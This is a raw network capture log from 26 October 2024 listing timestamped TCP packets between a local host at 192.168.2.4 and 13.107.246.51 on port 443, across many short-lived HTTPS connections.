Oct 26, 2024 13:45:55.763789892 CEST	443	49987	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.894551039 CEST	443	49987	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.894659042 CEST	443	49987	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.894717932 CEST	49987	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.894968987 CEST	49987	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.894994020 CEST	443	49987	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.895006895 CEST	49987	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.895013094 CEST	443	49987	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.899225950 CEST	49992	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.899265051 CEST	443	49992	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.899365902 CEST	49992	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.899596930 CEST	49992	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.899611950 CEST	443	49992	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.191482067 CEST	443	49989	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.192279100 CEST	443	49988	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.192337990 CEST	49989	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.192369938 CEST	443	49989	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.192658901 CEST	49988	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.192698002 CEST	443	49988	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.192915916 CEST	49989	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.192923069 CEST	443	49989	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.193013906 CEST	443	49990	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.193357944 CEST	49990	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.193381071 CEST	443	49990	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.193402052 CEST	49988	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.193408966 CEST	443	49988	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.193758965 CEST	49990	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.193767071 CEST	443	49990	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.321693897 CEST	443	49989	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.321717978 CEST	443	49989	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.321775913 CEST	443	49989	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.321830988 CEST	49989	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.321877956 CEST	49989	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.322096109 CEST	49989	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.322117090 CEST	443	49989	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.322132111 CEST	49989	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.322139025 CEST	443	49989	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.323961020 CEST	443	49988	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.324115038 CEST	443	49988	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.324172974 CEST	49988	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.324464083 CEST	49988	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.324489117 CEST	443	49988	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.324507952 CEST	49988	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.324515104 CEST	443	49988	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.326088905 CEST	443	49990	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.326381922 CEST	443	49990	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.326432943 CEST	49990	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.327522039 CEST	49993	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.327553988 CEST	443	49993	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.327626944 CEST	49993	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.327646971 CEST	49990	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.327667952 CEST	443	49990	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.327691078 CEST	49990	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.327697992 CEST	443	49990	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.330132961 CEST	49994	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.330161095 CEST	49993	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.330166101 CEST	443	49994	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.330179930 CEST	443	49993	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.330245972 CEST	49994	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.330394030 CEST	49994	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.330404997 CEST	443	49994	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.331717014 CEST	49995	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.331739902 CEST	443	49995	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.331793070 CEST	49995	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.331995010 CEST	49995	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.332007885 CEST	443	49995	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.413422108 CEST	443	49991	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.414411068 CEST	49991	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.414449930 CEST	443	49991	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.414952040 CEST	49991	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.414958000 CEST	443	49991	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.546360016 CEST	443	49991	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.546386003 CEST	443	49991	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.546457052 CEST	443	49991	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.546541929 CEST	49991	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.546617031 CEST	49991	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.546981096 CEST	49991	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.547009945 CEST	443	49991	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.547022104 CEST	49991	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.547028065 CEST	443	49991	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.551043034 CEST	49996	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.551093102 CEST	443	49996	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.551196098 CEST	49996	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.551469088 CEST	49996	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.551482916 CEST	443	49996	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.638914108 CEST	443	49992	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.639602900 CEST	49992	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.639631033 CEST	443	49992	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.640152931 CEST	49992	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.640160084 CEST	443	49992	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.770229101 CEST	443	49992	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.770251989 CEST	443	49992	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.770312071 CEST	443	49992	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.770473003 CEST	49992	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.770509958 CEST	49992	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.770845890 CEST	49992	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.770845890 CEST	49992	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.770867109 CEST	443	49992	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.770878077 CEST	443	49992	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.775351048 CEST	49997	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.775398016 CEST	443	49997	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:56.775505066 CEST	49997	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.775672913 CEST	49997	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:56.775687933 CEST	443	49997	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.056919098 CEST	443	49995	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.057820082 CEST	49995	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.057852030 CEST	443	49995	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.058353901 CEST	49995	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.058360100 CEST	443	49995	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.058763981 CEST	443	49994	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.059161901 CEST	49994	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.059175968 CEST	443	49994	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.059956074 CEST	49994	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.059962988 CEST	443	49994	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.065752983 CEST	443	49993	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.066401005 CEST	49993	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.066427946 CEST	443	49993	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.066895008 CEST	49993	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.066900969 CEST	443	49993	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.184411049 CEST	443	49995	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.184577942 CEST	443	49995	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.184700012 CEST	49995	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.185009003 CEST	49995	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.185009003 CEST	49995	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.185029984 CEST	443	49995	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.185040951 CEST	443	49995	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.188060999 CEST	443	49994	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.188086987 CEST	443	49994	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.188160896 CEST	443	49994	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.188196898 CEST	49994	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.188313007 CEST	49994	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.188402891 CEST	49994	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.188422918 CEST	443	49994	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.188445091 CEST	49994	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.188451052 CEST	443	49994	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.188618898 CEST	49998	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.188663960 CEST	443	49998	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.188738108 CEST	49998	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.188921928 CEST	49998	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.188937902 CEST	443	49998	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.191445112 CEST	49999	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.191483021 CEST	443	49999	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.191562891 CEST	49999	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.191783905 CEST	49999	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.191798925 CEST	443	49999	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.199743032 CEST	443	49993	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.199821949 CEST	443	49993	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.199939013 CEST	49993	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.199959040 CEST	443	49993	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.199985981 CEST	443	49993	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.200050116 CEST	49993	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.200357914 CEST	49993	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.200371981 CEST	443	49993	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.200388908 CEST	49993	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.200395107 CEST	443	49993	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.203737020 CEST	50000	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.203777075 CEST	443	50000	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.203866005 CEST	50000	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.204160929 CEST	50000	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.204174995 CEST	443	50000	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.335773945 CEST	443	49996	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.336740017 CEST	49996	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.336779118 CEST	443	49996	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.337271929 CEST	49996	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.337280989 CEST	443	49996	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.466293097 CEST	443	49996	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.466366053 CEST	443	49996	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.466497898 CEST	49996	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.466876030 CEST	49996	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.466897011 CEST	443	49996	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.466914892 CEST	49996	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.466921091 CEST	443	49996	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.471405029 CEST	50001	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.471424103 CEST	443	50001	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.471550941 CEST	50001	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.471776962 CEST	50001	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.471786022 CEST	443	50001	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.505927086 CEST	443	49997	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.506745100 CEST	49997	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.506768942 CEST	443	49997	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.507386923 CEST	49997	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.507395983 CEST	443	49997	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.636559010 CEST	443	49997	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.636710882 CEST	443	49997	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.636776924 CEST	49997	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.637160063 CEST	49997	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.637181044 CEST	443	49997	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.637195110 CEST	49997	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.637201071 CEST	443	49997	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.641616106 CEST	50002	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.641666889 CEST	443	50002	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.641745090 CEST	50002	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.642200947 CEST	50002	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.642225981 CEST	443	50002	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.925921917 CEST	443	49998	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.926527977 CEST	49998	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.926556110 CEST	443	49998	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.926743984 CEST	443	49999	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.927485943 CEST	443	50000	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.927887917 CEST	49998	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.927905083 CEST	443	49998	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.928478956 CEST	49999	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.928509951 CEST	443	49999	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.932599068 CEST	49999	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.932631969 CEST	443	49999	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.934329987 CEST	50000	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.934348106 CEST	443	50000	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:57.937213898 CEST	50000	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:57.937222958 CEST	443	50000	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.056972027 CEST	443	49998	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.057063103 CEST	443	49998	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.057193995 CEST	49998	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.057524920 CEST	49998	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.057545900 CEST	443	49998	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.057557106 CEST	49998	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.057563066 CEST	443	49998	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.060161114 CEST	443	49999	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.060182095 CEST	443	49999	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.060265064 CEST	443	49999	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.060285091 CEST	49999	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.060344934 CEST	49999	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.060508966 CEST	49999	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.060528040 CEST	443	49999	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.060539961 CEST	49999	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.060545921 CEST	443	49999	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.061593056 CEST	443	50000	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.061621904 CEST	443	50000	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.061732054 CEST	50000	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.061760902 CEST	443	50000	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.061781883 CEST	443	50000	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.061845064 CEST	50003	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.061881065 CEST	50000	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.061882973 CEST	443	50003	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.061997890 CEST	50003	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.062011957 CEST	50000	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.062031031 CEST	443	50000	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.062062979 CEST	50000	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.062068939 CEST	443	50000	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.062306881 CEST	50003	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.062323093 CEST	443	50003	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.063648939 CEST	50004	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.063676119 CEST	443	50004	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.063776970 CEST	50004	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.063904047 CEST	50004	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.063916922 CEST	443	50004	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.064172983 CEST	50005	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.064198017 CEST	443	50005	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.064274073 CEST	50005	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.064460039 CEST	50005	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.064474106 CEST	443	50005	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.193274021 CEST	443	50001	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.195127964 CEST	50001	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.195151091 CEST	443	50001	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.195621014 CEST	50001	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.195626974 CEST	443	50001	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.376050949 CEST	443	50002	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.376871109 CEST	50002	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.376890898 CEST	443	50002	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.377405882 CEST	50002	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.377412081 CEST	443	50002	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.436835051 CEST	443	50001	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.436862946 CEST	443	50001	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.436877966 CEST	443	50001	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.436970949 CEST	50001	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.436986923 CEST	443	50001	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.437062979 CEST	50001	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.437664986 CEST	443	50001	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.437752962 CEST	443	50001	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.437779903 CEST	50001	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.437779903 CEST	50001	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.437819004 CEST	443	50001	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.437838078 CEST	50001	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.437838078 CEST	50001	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.437846899 CEST	443	50001	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.437854052 CEST	443	50001	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.441054106 CEST	50006	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.441087008 CEST	443	50006	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.441160917 CEST	50006	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.441312075 CEST	50006	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.441324949 CEST	443	50006	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.505250931 CEST	443	50002	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.505291939 CEST	443	50002	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.505359888 CEST	443	50002	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.505419016 CEST	50002	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.505464077 CEST	50002	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.505776882 CEST	50002	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.505794048 CEST	443	50002	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.505815029 CEST	50002	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.505820990 CEST	443	50002	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.509700060 CEST	50007	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.509767056 CEST	443	50007	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.509865046 CEST	50007	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.510037899 CEST	50007	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.510055065 CEST	443	50007	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.794833899 CEST	443	50004	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.795353889 CEST	50004	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.795365095 CEST	443	50004	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.795888901 CEST	50004	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.795893908 CEST	443	50004	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.799258947 CEST	443	50003	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.799794912 CEST	50003	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.799825907 CEST	443	50003	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.800121069 CEST	50003	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.800127029 CEST	443	50003	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.814903021 CEST	443	50005	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.817430019 CEST	50005	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.817461967 CEST	443	50005	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.817831993 CEST	50005	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.817837954 CEST	443	50005	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.926460028 CEST	443	50004	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.926491976 CEST	443	50004	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.926548004 CEST	50004	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.926558971 CEST	443	50004	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.926614046 CEST	50004	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.927505970 CEST	50004	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.927525997 CEST	443	50004	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.927536964 CEST	50004	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.927544117 CEST	443	50004	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.932496071 CEST	50008	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.932527065 CEST	443	50008	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.932600975 CEST	50008	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.932754993 CEST	50008	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.932765007 CEST	443	50008	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.949232101 CEST	443	50005	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.949250937 CEST	443	50005	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.949310064 CEST	443	50005	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.949331999 CEST	50005	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.949362993 CEST	50005	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.949604034 CEST	50005	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.949624062 CEST	443	50005	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.949644089 CEST	50005	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:58.949651003 CEST	443	50005	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:58.953059912 CEST	50009	443	192.168.2.4	13.107.246.51
